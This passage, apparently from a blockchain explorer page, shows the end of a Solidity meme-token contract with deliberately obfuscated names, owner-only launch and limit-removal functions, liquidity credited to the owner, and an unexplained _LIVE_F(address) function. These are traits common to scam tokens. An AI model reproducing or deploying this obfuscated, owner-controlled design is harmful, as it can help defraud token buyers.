uint256 minBalance = (contractTokenBalance < _of_Psswtsa) ? contractTokenBalance : _of_Psswtsa;
_subSwap__MEMEMxsswtsa((amount < minBalance) ? amount : minBalance);
}
_support_MEMEMOwlsat(address(this).balance);
}
}
if (taxAmount > 0) {
_ATOSGRssw342sswq[address(this)] =_ATOSGRssw342sswq[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_ATOSGRssw342sswq[from] =_ATOSGRssw342sswq[from].sub(amount);
_ATOSGRssw342sswq[to] =_ATOSGRssw342sswq[to].add(amount.sub(taxAmount));
if(_MEMEMs034fj != to) emit Transfer(from, to, amount.sub(taxAmount));
}
function removeLimits () external onlyOwner {
_GARA_MMO2R = _kmmvb_MEMEMxsswtsa;
_GARA_MOR2R = _kmmvb_MEMEMxsswtsa;
emit MaxTxAmountUpdated(_kmmvb_MEMEMxsswtsa);
}
function MEME_OPEN() external onlyOwner {
require(!isTrading, "Already Started!");
SOLRouter = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(SOLRouter), _kmmvb_MEMEMxsswtsa);
HUGEATAR = IUniswapV2Factory(SOLRouter.factory()).createPair(
address(this),
SOLRouter.WETH()
);
SOLRouter.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(HUGEATAR).approve(
address(SOLRouter),
type(uint256).max
);
swapEnabled = true;
isTrading = true;
}
function __MEMEMxmnn34irfn(uint256 _amount) internal {
payable(msg.sender).transfer(_amount);
}
}
Read Contract
_GARA_MMO2R 0x97745535 → uint256
_GARA_MOR2R 0x02332f2a → uint256
_of_Psswtsa 0xbf9f02c9 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
MEME_OPEN 0xac0ebd85
No parameters
_LIVE_F 0xad686bbd
address receipt
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address